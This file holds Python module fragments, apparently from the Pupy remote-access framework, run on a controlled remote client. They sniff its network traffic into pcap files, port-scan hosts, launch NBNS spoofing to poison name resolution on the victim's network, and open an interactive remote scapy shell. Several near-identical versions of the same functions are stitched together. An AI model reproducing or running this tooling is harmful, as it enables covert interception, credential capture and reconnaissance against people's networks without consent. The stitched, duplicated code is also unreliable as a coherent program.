def run(self, args): init_winpcap(self) pktwriter = None if args.save_pcap: try: os.makedirs(os.path.join("data", "pcaps")) except Exception: pass filepath = os.path.join( "data", "pcaps", "cap_" + self.client.short_name() + "_" + str(datetime.datetime.now()).replace(" ", "_").replace( ":", "-") + ".pcap") pktwriter = PcapWriter(filepath, append=True, sync=True) self.info("Packets printed will be streamed into %s ..." % filepath) if args.timeout == None and args.count == 0: raise PupyModuleError( "--timeout or --count options are mandatory for now." ) #TODO patch scapy to have an interruptible sniff() function self.sniff_sess = self.client.conn.modules["tcpdump"].SniffSession( gen_cb_function(pcap_writer=pktwriter), bpf=args.bpf, timeout=args.timeout, count=args.count, iface=args.iface) #with redirected_stdio(self.client.conn): self.sniff_sess.start()
def run(self, args): init_winpcap(self) ps = self.client.conn.modules['portscan'].PortScanner() ports = [int(x) for x in args.ports.split(',')] res = ps.scan(args.address, ports, timeout=float(args.timeout)) if res: self.rawlog(res) self.success("Scan finished !")
def run(self, args): init_winpcap(self) with redirected_stdo(self): self.client.conn.modules['nbnsspoof'].start_nbnsspoof( args.ip, args.srcmac, timeout=args.timeout, verbose=True, interface=args.iface, name_regexp=args.regex)
def run(self, args): init_winpcap(self.client) # Load full scapy self.client.load_package('scapy', honor_ignore=False, force=True) with redirected_stdo(self): self.client.conn.modules['nbnsspoof'].start_nbnsspoof( args.ip, args.srcmac, timeout=args.timeout, verbose=True, interface=args.iface, name_regexp=args.regex)
def run(self, args): init_winpcap(self) try: with redirected_stdo(self.client.conn): old_completer=readline.get_completer() try: psc=self.client.conn.modules['pyshell.controller'].PyShellController() readline.set_completer(psc.get_completer()) readline.parse_and_bind('tab: complete') psc.write("from scapy.all import *") while True: cmd=raw_input(">>> ") psc.write(cmd) finally: readline.set_completer(old_completer) readline.parse_and_bind('tab: complete') except KeyboardInterrupt: pass
def run(self, args): init_winpcap(self) try: with redirected_stdo(self.client.conn): old_completer = readline.get_completer() try: psc = self.client.conn.modules[ 'pyshell.controller'].PyShellController() readline.set_completer(psc.get_completer()) readline.parse_and_bind('tab: complete') psc.write("from scapy.all import *") while True: cmd = raw_input(">>> ") psc.write(cmd) finally: readline.set_completer(old_completer) readline.parse_and_bind('tab: complete') except KeyboardInterrupt: pass
def run(self, args): init_winpcap(self) pktwriter=None if args.save_pcap: try: os.makedirs(os.path.join("data","pcaps")) except Exception: pass filepath=os.path.join("data","pcaps","cap_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".pcap") pktwriter = PcapWriter(filepath, append=True, sync=True) self.info("Packets printed will be streamed into %s ..."%filepath) if args.timeout==None and args.count==0: raise PupyModuleError("--timeout or --count options are mandatory for now.")#TODO patch scapy to have an interruptible sniff() function self.sniff_sess=self.client.conn.modules["tcpdump"].SniffSession(gen_cb_function(pcap_writer=pktwriter), bpf=args.bpf, timeout=args.timeout, count=args.count, iface=args.iface) #with redirected_stdio(self.client.conn): self.sniff_sess.start()
def run(self, args): self.sniff_sess = None filepath = None if self.client.is_windows(): from modules.lib.windows.winpcap import init_winpcap init_winpcap(self.client) pktwriter = None if args.save_pcap: config = self.client.pupsrv.config filepath = config.get_file('pcaps', {'%c': self.client.short_name()}) pktwriter = PcapWriter(filepath, append=True, sync=True) tcpdump = self.client.remote('tcpdump', 'run', False) self.wait.clear() try: name, self.terminate = tcpdump(self.printer(pcap_writer=pktwriter), self.on_error, args.iface, args.bpf, args.timeout, count=args.count) self.success(u'Scapy tcpdump on "{}" - started'.format(name)) self.wait.wait() self.success(u'Scapy tcpdump on "{}" - completed'.format(name)) if filepath: self.info('Pcap stored to: {}'.format(filepath)) except Exception, e: self.wait.set() self.error('Error: ' + ' '.join(x for x in e.args if type(x) in (str, unicode)))
def run(self, args): init_winpcap(self) with redirected_stdo(self): self.client.conn.modules['nbnsspoof'].start_nbnsspoof(args.ip, args.srcmac, timeout=args.timeout, verbose=True, interface=args.iface, name_regexp=args.regex)